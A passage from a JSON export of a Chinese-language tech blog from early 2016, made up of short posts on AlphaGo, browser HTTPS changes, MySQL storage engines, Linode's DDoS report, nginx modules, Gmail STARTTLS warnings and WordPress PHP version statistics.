    "body": "昨天先看到 <a href=\"https://www.facebook.com/zuck\">Mark Zuckerberg</a> 丟出來的<a href=\"https://www.facebook.com/zuck/videos/10102619979032811/\">資訊</a>，比較完整的資料可以在「<a href=\"http://arxiv.org/abs/1511.06410\">Better Computer Go Player with Neural Network and Long-term Prediction</a>」這邊看到。\r\n\r\n<a href=\"https://www.facebook.com/\">Facebook</a> 這邊的成就在於用 DCNN-based model 改善效率，可以用一台電腦 (包括 GPU) 維持在 KGS 5d (業餘五段)，跟 Zen19 差不多的棋力，跟目前最好的電腦圍棋軟體棋力差不多：\r\n\r\n<blockquote><em>darkfmcts3now</em> holds a stable KGS 5d level, on par with the top Go AIs, has beaten Zen19 onceand hold 1win/1lose against a Korean 6p professional player with 4 handicaps.</blockquote>\r\n\r\n<blockquote>The distributed version, named <em>darkfmcts3in</em> KGS Go Server, use <em>darkfores2</em> as the underlying DCNN model, runs 75,000 rollouts on 2048 threads and produces a move every 13 seconds with one Intel Xeon E5-2680 v2 at 2.80GHz and 44 NVidia K40m GPUs.</blockquote>\r\n\r\n<blockquote>In this paper, we have substantially improved the performance of DCNN-based Go AI, extensively evaluated it against both open source engines and strong amateur human players, and shown its potentials if combined with Monte-Carlo Tree Search (MCTS).</blockquote>\r\n\r\n而隔壁棚的 <a href=\"https://www.google.com/\">Google</a> 也丟出對應的研究成果「<a href=\"http://googleresearch.blogspot.com/2016/01/alphago-mastering-ancient-game-of-go.html\">AlphaGo: Mastering the ancient game of Go with Machine Learning</a>」，直接往 Nature 上丟：「<a href=\"http://www.nature.com/nature/journal/v529/n7587/full/nature16961.html\">Mastering the game of Go with deep neural networks and tree search</a>」。\r\n\r\nGoogle 不是跑在單機上，而是跑在 <a href=\"https://cloud.google.com/\">Google Cloud Platform</a> 上，分散式的版本大約是職業五段的水準：\r\n\r\n<blockquote>Of course, all of this requires a huge amount of compute power, so we made extensive use of Google Cloud Platform, which enables researchers working on AI and Machine Learning to access elastic compute, storage and networking capacity on demand.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/y0X9X5A.webp\" /><img src=\"https://i.gslin.com/imgur/y0X9X5A.jpg\" alt=\"\" /></picture>\r\n\r\n實際對樊麾 (職業二段) 的成績也是五比零的大獲全勝：\r\n\r\n<blockquote>So we invited the reigning 3-time European Go champion Fan Hui — an elite professional player who has devoted his life to Go since the age of 12 — to our London office for a challenge match. The match was played behind closed doors between October 5-9 last year. AlphaGo won by 5 games to 0 -- the first time a computer program has ever beaten a professional Go player.</blockquote>\r\n\r\n而今年預定要去打大魔王，目前韓國圍棋第一人<a href=\"https://zh.wikipedia.org/wiki/%E6%9D%8E%E4%B8%96%E4%B9%AD\">李世乭</a>：\r\n\r\n<blockquote>AlphaGo’s next challenge will be to play the top Go player in the world over the last decade, Lee Sedol. The match will take place this March in Seoul, South Korea. Lee Sedol is excited to take on the challenge saying, \"I am privileged to be the one to play, but I am confident that I can win.\" It should prove to be a fascinating contest!</blockquote>\r\n\r\n到時候中國那邊的圍棋節目應該會有網路直播可以看吧，再來盯...",
    "title": "最近電腦圍棋的兩個突破..."
  },
  {
    "id": "6268",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到如標題所說的，從 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 50 開始 (現在正式版本是 48)，HTTP 網頁將禁用 <a href=\"https://www.w3.org/TR/geolocation-API/\">Geolocation API</a>：\r\n\r\n<blockquote class=\"twitter-tweet\" lang=\"en\"><p lang=\"en\" dir=\"ltr\">Starting in Chrome 50, geolocation will not be available in insecure contexts (i.e. only HTTPS embedded in HTTPS): <a href=\"https://t.co/2L6hlzkXnw\">https://t.co/2L6hlzkXnw</a></p>&mdash; Joel Weinberger (@metromoxie) <a href=\"https://twitter.com/metromoxie/status/690238475946311681\">January 21, 2016</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n對隱私保護的加強。",
    "title": "從 Chrome 50 開始，HTTP 網頁內將禁用 Geolocation 功能"
  },
  {
    "id": "6270",
    "body": "<a href=\"http://smalldatum.blogspot.com/\">Mark Callaghan</a> 在「<a href=\"http://smalldatum.blogspot.com/2016/01/myrocks-vs-innodb-with-linkbench-over-7.html\">MyRocks vs InnoDB with Linkbench over 7 days</a>」這邊分析了 <a href=\"https://dev.mysql.com/\">MySQL</a> 上的兩個 engine 的差異，總結是大獲全勝：\r\n\r\n<ul>\r\n\t<li>InnoDB writes between 8X and 14X more data to SSD per transaction than RocksDB</li>\r\n\t<li><a href=\"http://rocksdb.org/\">RocksDB</a> sustains about 1.5X more QPS</li>\r\n\t<li>Compressed/uncompressed InnoDB uses 2X/3X more SSD space than RocksDB</li>\r\n</ul>\r\n\r\n但 InnoDB 的 engine 是 2000 年的設計 (16 年前)，<a href=\"https://github.com/facebook/mysql-5.6/wiki/Getting-Started-with-MyRocks\">MyRocks</a> 的 engine (RocksDB) 則是 2013 年的設計，不屬於同一個世代。\r\n\r\n相較於與 InnoDB 對打，我更想看到的是與 <a href=\"https://www.percona.com/software/mysql-database/percona-tokudb\">TokuDB</a> (2012 年的設計) 對打的結果。\r\n\r\n兩個新的 engine 都有針對 SSD 的特性發展，可以看出資料結構與寫入的方式就很不一樣，而且一開始就是在多 CPU 多核環境下開發，相較於 InnoDB 是一路改的包袱來的輕鬆許多。",
    "title": "MySQL 上 InnoDB 與 RocksDB 的差異"
  },
  {
    "id": "6271",
    "body": "<a href=\"https://www.mozilla.com/firefox\">Firefox</a> 46 的開發版本將會對非 HTTPS 頁面加上警示：「<a href=\"https://hacks.mozilla.org/2016/01/login-forms-over-https-please/\">Login Forms over HTTPS, Please</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/WIlNqpY.webp\" /><img src=\"https://i.gslin.com/imgur/WIlNqpY.jpg\" alt=\"\" /></picture>\r\n\r\n技術上來說，是當偵測到頁面上有 <code>input type=\"password\"</code> 的元素時會加上不安全的 icon：\r\n\r\n<blockquote>When a page with a password field is not delivered securely, Firefox displays a lock with a red strikethrough in the address bar[.]</blockquote>\r\n\r\n不過看起來是在試水溫，沒有打算在正式版本開起來：\r\n\r\n<blockquote>There are no current plans to show these warnings to users of Beta and general release Firefox.</blockquote>\r\n\r\n這樣就有點可惜了...",
    "title": "Firefox 46 Dev 版本將會再加上對非 HTTPS 頁面的警示"
  },
  {
    "id": "6272",
    "body": "<a href=\"https://www.linode.com/\">Linode</a> 這陣子一直被 DDoS 攻擊，前幾天放出報告：「<a href=\"https://blog.linode.com/2016/01/29/christmas-ddos-retrospective/\">The Twelve Days of Crisis – A Retrospective on Linode’s Holiday DDoS Attacks</a>」。\r\n\r\n其中這段提到了一些數字，Linode 有個小機房有 40Gbps 的能力，但以現在的 DDoS 規模會馬上爆掉：\r\n\r\n<blockquote>Linode’s capacity management strategy for IP transit has been simple: when our peak daily utilization starts approaching 50% of our overall capacity, then it’s time to get more links.\r\n\r\nThis strategy is standard for carrier networks, but we now understand that it is inadequate for content networks like ours. To put some real numbers on this, our smaller datacenter networks have a total IP transit capacity of 40Gbps. This may seem like a lot of capacity to many of you, but in the context of an 80Gbps DDoS that can’t be blackholed, having only 20Gbps worth of headroom leaves us with crippling packet loss for the duration of the attack.</blockquote>\r\n\r\n另外把 DNS 整個放上 <a href=\"https://www.cloudflare.com/\">CloudFlare</a> 讓他們來擋：\r\n\r\n<blockquote>Our nameservers are now protected by Cloudflare, and our websites are now protected by powerful commercial traffic scrubbing appliances.</blockquote>\r\n\r\n後續的改善應該還要幾個月？完成後應該會再看到 blog post...",
    "title": "Linode 的被攻擊報告"
  },
  {
    "id": "6273",
    "body": "好幾個禮拜前的東西，這幾天才上 <a href=\"https://news.ycombinator.com/\">Hacker News</a>：「<a href=\"https://18f.gsa.gov/2016/01/11/introducing-the-css-coding-style-guide/\">Introducing the CSS coding style guide</a>」。\r\n\r\n<a href=\"https://18f.gsa.gov/\">18F</a> 是美國政府的官方單位，取名自辦公室所在的地址：(取自 <a href=\"https://en.wikipedia.org/\">Wikipedia</a> 的「<a href=\"https://en.wikipedia.org/wiki/18F\">18F</a>」說明)\r\n\r\n<blockquote>Its name refers to its office location in northwest Washington, D.C., on 18th and F Streets.</blockquote>\r\n\r\n不只是定義了 <a href=\"https://pages.18f.gov/frontend/index.html\">CSS Coding Style Guide</a>，還給了 <a href=\"https://github.com/brigade/scss-lint\">SCSS Lint</a> 工具使用：\r\n\r\n<blockquote>The styleguide provides a method of linting Sass (SCSS) code to ensure it conforms to the rules in the styleguide.</blockquote>",
    "title": "18F 丟出 CSS 的代碼風格指南"
  },
  {
    "id": "6274",
    "body": "酷航有些飛機是 787 了，這台飛機有提供 Internet 上網功能 (WiFi HotSpot)，一個小時是 USD$11.95，三個小時是 USD$16.95，二十四小時是 USD$24.95。\r\n\r\n扣掉起降的時間，成田飛桃園差不多可以買三個小時的方案來用，服務是由 <a href=\"https://www.t-mobile.com/\">T-Mobile</a> 提供：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/rFFxWGs.webp\" /><img src=\"https://i.gslin.com/imgur/rFFxWGs.jpg\" alt=\"\" /></picture>\r\n\r\n看起來應該是走衛星線路，從德國落地後再連出來，快的時候可以到 1Mbps，慢的時候大約在 128Kbps，latency 大約是 1000ms，而 packet loss rate 其實不高，線路還蠻穩定的。\r\n\r\n這次來回都有買，算是嘗鮮玩玩看，之後應該還是會在飛機上睡覺吧 XDDD",
    "title": "在 Boeing 787 上上網..."
  },
  {
    "id": "6276",
    "body": "在去年十二月七日 <a href=\"https://twitter.com/zite\">Zite</a> 被幹掉後，本來是流竄到 <a href=\"https://en.wikipedia.org/wiki/Prismatic_(app)\">Prismatic</a> 上，結果十二月二十日也關掉了... 之後就找不到能用的推薦引擎了。\r\n\r\n用推薦引擎的目的是希望看到更多不同種類的內容：用 <a href=\"https://feedly.com/\">Feedly</a> 看 RSS feed，而用 <a href=\"https://twitter.com/\">Twitter</a> 追蹤短則的想法，或是用 <a href=\"https://www.facebook.com/\">Facebook</a> 看同溫層的想法。但這些都是「已知」的來源所提供的資訊，沒有辦法發覺其他的文章。\r\n\r\n其中一個變通的方法是找像 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 這樣的 RSS feed 來讀，作者用程式每天算出 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的十大熱門文摘出來，對一般人應該也夠用，但我還是想要找到更多資訊。\r\n\r\nZite 與 Prismatic 是以 Recommendation System 來計算並且推薦，是個還不錯的方法。不過這兩個 app 都已經不在了...\r\n\r\n而 <a href=\"http://nuzzel.com/\">Nuzzel</a> 走了另外一個方向，你可以用 Twitter 與 Facebook 帳號連結，然後提供「朋友」以及「朋友的朋友」發表了什麼連結，依照時間或是數量排序出來：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/nwCg5pm.webp\" /><img src=\"https://i.gslin.com/imgur/nwCg5pm.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ByJ9wmO.webp\" /><img src=\"https://i.gslin.com/imgur/ByJ9wmO.jpg\" alt=\"\" /></picture>\r\n\r\n相較於推薦系統，這樣的演算法雖然簡單很多，但解決了想要看更多資訊的問題。\r\n\r\n不過還是覺得有些 app 上的操作怪怪的，但也沒辦法 (?)，先用用看吧...",
    "title": "Zite 消失後的方案：Nuzzel"
  },
  {
    "id": "6278",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 官方的「<a href=\"https://blog.twitter.com/2016/tweet-happychinesenewyear-2016-around-the-world\">Tweet #HappyChineseNewYear 2016 around the world</a>」這篇在最後面轉貼了 <a href=\"http://tv.cctv.com/\">CCTV</a> 春晚的消息：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/HGVg7wl.webp\" /><img src=\"https://i.gslin.com/imgur/HGVg7wl.jpg\" alt=\"\" /></picture>\r\n\r\n好像不只一點可以吐嘈的啊... 剛剛試著在帳號上找這則但沒找到，應該是被刪掉了？",
    "title": "Twitter 官方轉貼 CCTV 的「春晚」... XD"
  },
  {
    "id": "6282",
    "body": "前幾天因為流感而睡太多，來消化一些文章。\r\n\r\n上個星期 <a href=\"https://www.google.com/\">Google</a> 放出一套用 <a href=\"https://golang.org/\">Go</a> 寫的 Load balancer，叫 <a href=\"https://github.com/google/seesaw\">Seesaw</a>：「<a href=\"http://google-opensource.blogspot.com/2016/01/seesaw-scalable-and-robust-load.html\">Seesaw: scalable and robust load balancing</a>」。\r\n\r\n比較有趣的是 BGP 與 anycast VIP 的能力：\r\n\r\n<blockquote>Seesaw v2 provides full support for anycast VIPs - that is, it will advertise an anycast VIP when it becomes available and will withdraw the anycast VIP if it becomes unavailable.</blockquote>\r\n\r\nGoogle 這個規模玩的是不同 scale 的花樣...",
    "title": "Google 的 Load balancer：Seesaw"
  },
  {
    "id": "6283",
    "body": "<a href=\"https://plus.google.com/+BensonLeung\">Benson Leung</a> 花了不少時間在測試 USB 線 (「<a href=\"https://blog.gslin.org/archives/2015/11/07/6112/google-%E5%B7%A5%E7%A8%8B%E5%B8%AB%E5%9C%A8-amazon-%E4%B8%8A%E7%95%99%E4%B8%8B%E5%B0%8D-usb-c-%E7%B7%9A%E7%9A%84%E7%B2%BE%E5%BD%A9%E8%A9%95%E5%83%B9/\">Google 工程師在 Amazon 上留下對 USB-C 線的精彩評價...</a>」與「<a href=\"https://blog.gslin.org/archives/2015/11/17/6138/google-%E5%B7%A5%E7%A8%8B%E5%B8%AB%E5%9C%A8-amazon-%E4%B8%8A%E5%B0%8D-type-c-usb-%E7%B7%9A%E7%9A%84%E8%A9%95%E8%AB%96/\">Google 工程師在 Amazon 上對 Type C USB 線的評論</a>」)，而前陣子他測到一條超棒的 USB 線，把他三個測試設備都燒壞了：(出自<a href=\"https://plus.google.com/+BensonLeung/posts/aFWWeiybe4P\">這邊</a>)\r\n\r\n<blockquote>Surjtech's A-to-C cable seriously damaged a Pixel 2 laptop and two USB PD analyzers.</blockquote>\r\n\r\n他在 <a href=\"https://www.amazon.com/\">Amazon</a> 上留下的說明可以看到他發現廠商直接把 GND 與 Vbus 的線接錯了 (這個有厲害...)：\r\n\r\n<blockquote>I directly analyzed the Surjtech cable using a Type-C breakout board and a multimeter, and it appears that they completely miswired the cable. The GND pin on the Type-A plug is tied to the Vbus pins on the Type-C plug. The Vbus pin on the Type-A plug is tied to GND on the Type-C plug.</blockquote>\r\n\r\n另外在回覆裡也有更完整的說明：\r\n\r\n<blockquote>I've had the cable taken apart, and we've discovered some interesting details. I'll post a post with pictures soon.\r\n\r\n1) Vbus and Gnd are switched. Red wire goes to G on the Type-C's PCB, Black wire goes to V.\r\n2) 10 kΩ resistor instead of 56 kΩ resistor used.\r\n3) resistor hooked up as a Pull-down instead of a pull-up\r\n4) Wire is COMPLETELY missing SuperSpeed wires. It is NOT actually a USB 3.1 cable, even though it has a blue connector on the A side and SuperSpeed logos.\r\n\r\nBad. So bad.</blockquote>\r\n\r\n照片可以在<a href=\"https://plus.google.com/+BensonLeung/posts/EBGMagC46fN\">這邊</a>看到。看起來 Benson Leung 得再去 Google 內要新的機器來測試了...",
    "title": "因為一條 USB 線燒了三個設備..."
  },
  {
    "id": "6286",
    "body": "<a href=\"https://www.google.com/\">Google</a> 推出了 <a href=\"http://nginx.org/\">nginx</a> 上的 Page Speed 模組：「<a href=\"http://ngxpagespeed.com/\">ngx_pagespeed</a>」，想做的事情與 <a href=\"https://httpd.apache.org/\">apache</a> 上的 <a href=\"https://developers.google.com/speed/pagespeed/module/\">mod_pagespeed</a> 相同，利用各種技術加速網頁的速度：\r\n\r\n<blockquote>Nginx module created by Google to help Make the Web Faster by rewriting web pages to reduce latency and bandwidth. It started as a port of mod_pagespeed to Nginx, and for now the documentation links below still all point to mod_pagespeed's documentation.</blockquote>\r\n\r\n看之後會不會變成 PPA 裡的一包吧...",
    "title": "Google 推出 nginx 上的 PageSpeed 模組"
  },
  {
    "id": "6287",
    "body": "在「<a href=\"https://www.brianchristner.io/docker-is-moving-to-alpine-linux/\">Docker Official Images are Moving to Alpine Linux</a>」這邊看到的消息，消息引用自 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論串：「<a href=\"https://news.ycombinator.com/item?id=10998667\">CoreOS Overview, Part One (deis.com)</a>」，其中 shykes 這樣說：\r\n\r\n<blockquote>Disclaimer: I work at Docker.</blockquote>\r\n\r\n<blockquote>Incidentay, we have hired Natanael Copa, the awesome creator of Alpine Linux and are in the process of switching the Docker official image library from ubuntu to Alpine. You can help us with pull requests to <a href=\"https://github.com/docker-library\">https://github.com/docker-library</a> if you want :)</blockquote>\r\n\r\n所以已經雇用 <a href=\"https://www.alpinelinux.org/\">Alpine</a> 的創辦人，並且開始把 <a href=\"https://www.docker.com/\">Docker</a> 所使用的 <a href=\"http://www.ubuntu.com/\">Ubuntu</a>-based image 換成 Alpine-based image，後續應該會有更多消息 (&amp; 更正式的消息) 被放出來...",
    "title": "Docker 預定將 Official Image 從 Ubuntu 換到 Alpine Linux"
  },
  {
    "id": "6289",
    "body": "<a href=\"https://www.google.com/\">Google</a> 宣布 <a href=\"https://www.google.com/transparencyreport/safebrowsing/\">Safe Browsing</a> 將會把各種誘導式頁面列入清單阻擋：「<a href=\"https://googleonlinesecurity.blogspot.com/2016/02/no-more-deceptive-download-buttons.html\">No More Deceptive Download Buttons</a>」。\r\n\r\nGoogle 給了幾個例子，像是這樣的廣告頁面：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/OjSq2yt.webp\" /><img src=\"https://i.gslin.com/imgur/OjSq2yt.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/1oLdo8Y.webp\" /><img src=\"https://i.gslin.com/imgur/1oLdo8Y.jpg\" alt=\"\" /></picture>\r\n\r\n或是這樣的圖片按鈕，試著誤導使用者：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/PFxtBnc.webp\" /><img src=\"https://i.gslin.com/imgur/PFxtBnc.jpg\" alt=\"\" /></picture>\r\n\r\n都會被認為是偽裝成官方訊息，意圖讓使用者下載惡意程式而被阻擋。",
    "title": "Google 的 Safe Browsing 將開始阻擋誘導式的頁面"
  },
  {
    "id": "6291",
    "body": "先前看到的，一個 <a href=\"https://www.mozilla.com/firefox\">Firefox</a> 的 Extension，在本地端存了一份常用的 library，當瀏覽器想要去 CDN 取得的時候改從本地端的資料提供：「<a href=\"https://addons.mozilla.org/en-US/firefox/addon/decentraleyes/\">Decentraleyes</a>」。\r\n\r\n<blockquote>Protects you against tracking through \"free\", centralized, content delivery. It prevents a lot of requests from reaching networks like Google Hosted Libraries, and serves local files to keep sites from breaking. Complements regular content blockers.</blockquote>\r\n\r\n另外一個說明是：\r\n\r\n<blockquote>A Firefox add-on that emulates Content Delivery Networks locally by intercepting requests, finding the required resource and injecting it into the environment. This all happens instantaneously, automatically, and no prior configuration is required.</blockquote>\r\n\r\n原始程式碼在 <a href=\"https://github.com/\">GitHub</a> 上：「<a href=\"https://github.com/Synzvato/decentraleyes\">Decentraleyes - Local emulation of Content Delivery Networks.</a>」。",
    "title": "Decentraleyes：避免從 Public CDN 取得檔案"
  },
  {
    "id": "6292",
    "body": "在「<a href=\"http://venturebeat.com/2016/02/09/google-will-stop-running-flash-display-ads-on-january-2-2017/\">Google will stop running Flash display ads on January 2, 2017</a>」這邊看到的，引用自 <a href=\"https://plus.google.com/\">Google Plus</a> 上的說明：「<a href=\"https://plus.google.com/u/0/+GoogleAds/posts/dYSJRrrgNjk\">Google display ads go 100% HTML5</a>」，主要有兩個時程：\r\n\r\n<blockquote>- Starting June 30th, 2016, display ads built in Flash can no longer be uploaded into AdWords and DoubleClick Digital Marketing.\r\n- Starting January 2nd, 2017, display ads in the Flash format can no longer run on the Google Display Network or through DoubleClick.</blockquote>\r\n\r\n今年六月底之後將無法上傳新的 Flash 廣告，並且在明年停止使用。",
    "title": "Google 宣佈 2017 年完全停止 Flash 廣告"
  },
  {
    "id": "6293",
    "body": "<a href=\"http://nginx.org/\">nginx</a> 在 1.9.11 版引入了 Dynamic Module，能夠更方便的決定要掛哪些模組使用了：「<a href=\"https://www.nginx.com/blog/dynamic-modules-nginx-1-9-11/\">Introducing Dynamic Modules in NGINX 1.9.11</a>」。\r\n\r\n從以往的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/CH68wTR.webp\" /><img src=\"https://i.gslin.com/imgur/CH68wTR.jpg\" alt=\"\" /></picture>\r\n\r\n多了一種選擇：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/zzZiBdO.webp\" /><img src=\"https://i.gslin.com/imgur/zzZiBdO.jpg\" alt=\"\" /></picture>\r\n\r\n也因此多了 <a href=\"http://nginx.org/en/docs/ngx_core_module.html#load_module\">load_module</a> 功能可以用：\r\n\r\n<blockquote>To load a module at runtime, include the new load_module directive in the main context, specifying the path to the shared object file for the module, enclosed in quotation marks. When you reload the configuration or restart NGINX, the module is loaded in. You can specify a path relative to the source directory, as in these examples, or a full path.\r\n\r\n<code>load_module \"modules/ngx_http_geoip_module.so\";</code>\r\n<code>load_module \"modules/ngx_stream_module.so\";</code></blockquote>",
    "title": "nginx 引入 Dynamic Module 架構"
  },
  {
    "id": "6294",
    "body": "公司用 <a href=\"https://slack.com/\">Slack</a> 還蠻常見的，但在「<a href=\"http://labs.earthpeople.se/2016/02/my-family-uses-slack/\">My family uses Slack. It's pretty interesting.</a>」這邊看到家人之間使用 Slack 的分享。\r\n\r\n利用 integration 叫 bot 回答小朋友現在的地點，並且與 <a href=\"https://calendar.google.com/\">Google Calendar</a> 整合通知事項。然後學校提供的 RSS feed 也可以拉進來。\r\n\r\n再來是採買食物的 bot，是有這麼宅嗎 XDDD\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fl4nJzq.webp\" /><img src=\"https://i.gslin.com/imgur/fl4nJzq.jpg\" alt=\"\" /></picture>\r\n\r\n感覺很資訊化的家庭啊 XDDD",
    "title": "在家族裡使用 Slack..."
  },
  {
    "id": "6295",
    "body": "<a href=\"https://mail.google.com/\">Gmail</a> 界面將會提示不支援 <a href=\"https://en.wikipedia.org/wiki/STARTTLS\">STARTTLS</a> 的信箱：「<a href=\"http://gmailblog.blogspot.com/2016/02/making-email-safer-for-you-posted-by.html\">Making email safer for you</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/TQd6iTD.gif\" alt=\"\" />\r\n\r\n先確認 <code>msa.hinet.net</code> 的 MX record：\r\n\r\n<pre>;; ANSWER SECTION:\r\nmsa.hinet.net.          86174   IN      MX      0 msa-smtp-mx1.hinet.net.\r\nmsa.hinet.net.          86174   IN      MX      0 msa-smtp-mx2.hinet.net.</pre>\r\n\r\n以及不支援 <code>STARTTLS</code> (在 <code>EHLO</code> 後不會出現 <code>STARTTLS</code> 選項)：\r\n\r\n<pre>$ t msa-smtp-mx1.hinet.net 25\r\nTrying 168.95.6.53...\r\nConnected to msa-smtp-mx1.hinet.net.\r\nEscape character is '^]'.\r\n220 msa.hinet.net ESMTP Sendmail 8.14.2/8.14.2; Thu, 11 Feb 2016 04:52:16 +0800 (CST)\r\nEHLO localhost\r\n250-msa.hinet.net Hello 114-32-152-63.HINET-IP.hinet.net [114.32.152.63], pleased to meet you\r\n250-ENHANCEDSTATUSCODES\r\n250-PIPELINING\r\n250-8BITMIME\r\n250-SIZE\r\n250-DSN\r\n250-ETRN\r\n250-DELIVERBY\r\n250 HELP\r\nQUIT\r\n221 2.0.0 msa.hinet.net closing connection\r\nConnection closed by foreign host.</pre>\r\n\r\n打開 Gmail 在收件人的地方輸入 test@msa.hinet.net 後，就會跳出紅色鎖頭表示不支援 STARTTLS。",
    "title": "Gmail 將會提示沒有支援 STARTTLS 的信箱"
  },
  {
    "id": "6296",
    "body": "<a href=\"https://www.php.net/\">PHP</a> 7.0 出兩個月了，應該是時候測試看看跑得如何... 所以剛剛把整個系統換成 PHP 7.0 了。\r\n\r\n本來用的是「<a href=\"https://launchpad.net/~ondrej/+archive/ubuntu/php-7.0\">PPA for PHP 7.0 (deprecated use ppa:ondrej/php)</a>」這個版本，經過標題的指示後改用「<a href=\"https://launchpad.net/~ondrej/+archive/ubuntu/php\">PPA for co-installable PHP 5.6 + 7.0</a>」這個版本，看起來是沒什麼大問題。\r\n\r\n跑一陣子看看吧。",
    "title": "把系統換成 PHP 7..."
  },
  {
    "id": "6297",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的工具：「<a href=\"https://github.com/stevemao/diff-so-fancy\">diff-so-fancy</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fULkqtV.webp\" /><img src=\"https://i.gslin.com/imgur/fULkqtV.jpg\" alt=\"\" /></picture>\r\n\r\n光是從 screenshot 仔細看，會發現漏掉了一些 minus 與 plus 的資訊 (中間有一段應該要顯示 -document 與 +this.element, false 的部份，只顯示了 plus 的部份)，有可能是 bug 也有可能是 feature。\r\n\r\n另外對於已經讀習慣 <a href=\"https://en.wikipedia.org/wiki/Diff_utility\">diff</a> 輸出結果的人，反而要另外學習，至於這個 learning curve 值不值得就見仁見智了...",
    "title": "diff-so-fancy 工具"
  },
  {
    "id": "6298",
    "body": "<a href=\"https://aws.amazon.com/lambda/\">AWS Lambda</a> 可以存取 <a href=\"https://aws.amazon.com/vpc/\">VPC</a> 內的資源了：「<a href=\"https://aws.amazon.com/blogs/aws/new-access-resources-in-a-vpc-from-your-lambda-functions/\">New – Access Resources in a VPC from Your Lambda Functions</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/dfkWVcJ.webp\" /><img src=\"https://i.gslin.com/imgur/dfkWVcJ.jpg\" alt=\"\" /></picture>\r\n\r\n這包括了 <a href=\"https://aws.amazon.com/rds/\">RDS</a> 與 <a href=\"https://aws.amazon.com/elasticache/\">ElastiCache</a> 這類放資料或是狀態的資源。以往有些要自己處理 High Availability 但又不怎麼大的功能，可以改寫成 AWS Lambda 往上丟了...",
    "title": "AWS Lambda 可以在 VPC 裡面執行了"
  },
  {
    "id": "6299",
    "body": "追蹤開信的能力是廣告信經常會用到的能力，為了要看「成效」而要追蹤開信率之類的數字。\r\n\r\n在「<a href=\"https://josephscott.org/archives/2016/02/email-privacy-tester/\">Email Privacy Tester</a>」這邊看到有趣的工具，介紹了「<a href=\"https://emailprivacytester.com/\">Email Privacy Tester</a>」這個網站可以拿來測試各種 mail client 上可被追蹤的功能。\r\n\r\n依照作者測試，<a href=\"https://mail.google.com/\">Gmail</a> 完美的擋下目前所有追蹤技巧：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Dh8OT5y.webp\" /><img src=\"https://i.gslin.com/imgur/Dh8OT5y.jpg\" alt=\"\" /></picture>\r\n\r\n而 <a href=\"https://en.wikipedia.org/wiki/Mail_(Apple)\">Apple Mail</a> 還很慘，有一堆方式可以被追蹤開信：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/3iaDDLY.webp\" /><img src=\"https://i.gslin.com/imgur/3iaDDLY.jpg\" alt=\"\" /></picture>\r\n\r\n不知道其他家 (像是 <a href=\"https://www.yahoo.com/\">Yahoo</a>) 的情況...",
    "title": "追蹤開信的能力"
  },
  {
    "id": "6300",
    "body": "在「<a href=\"https://ma.ttias.be/why-were-still-seeing-php-5-3-in-the-wild-or-php-versions-a-history/\">Why We’re Still Seeing PHP 5.3 In The Wild (Or: PHP Versions, A History)</a>」這邊看到一些有趣的統計資料，雖然是 2015 的舊文章，但因為統計資料是公開的，可以透過同樣方式抓到現在的情況。\r\n\r\n作者在 2015 年七月 (大約是月底) 的數字是：\r\n\r\n<pre>$ curl http://api.wordpress.org/stats/php/1.0/ | jq '.'\r\n{\r\n  \"5.2\": 13.603,\r\n  \"5.3\": 32.849,\r\n  \"5.4\": 40.1,\r\n  \"5.5\": 9.909,\r\n  \"5.6\": 3.538\r\n}</pre>\r\n\r\n剛剛跑的數字是：\r\n\r\n<pre>$ curl -s https://api.wordpress.org/stats/php/1.0/ | jq .\r\n{\r\n  \"7.0\": 0.423,\r\n  \"5.6\": 12.429,\r\n  \"5.5\": 17.188,\r\n  \"5.4\": 35.824,\r\n  \"5.3\": 24.754,\r\n  \"5.2\": 9.382\r\n}</pre>\r\n\r\n可以看到即使是 2016 年的現在，<a href=\"https://www.php.net/\">PHP</a> 5.3 與 PHP 5.4 還是超級大宗，但都已經沒有安全性更新了。\r\n\r\n作者猜測 shared hosting 在 <a href=\"https://wordpress.org/\">WordPress</a> 佔的比重還是很大，而大多數的 shared hosting 商不太管這個，架完後就放著跑沒打算升級了...\r\n\r\nWordPress 應該強硬一點啊，在「<a href=\"https://wordpress.org/about/requirements/\">Requirements</a>」這邊這樣寫怎麼會有 hosting 商想升級：\r\n\r\n<blockquote>Note: If you are in a legacy environment where you only have older PHP or MySQL versions, WordPress also works with PHP 5.2.4+ and MySQL 5.0+, but these versions have reached official End Of Life and as such may expose your site to security vulnerabilities.</blockquote>\r\n\r\n就「會動」啊...",
    "title": "跑 WordPress 的 PHP 版本統計"
  },
  {
    "id": "6301",
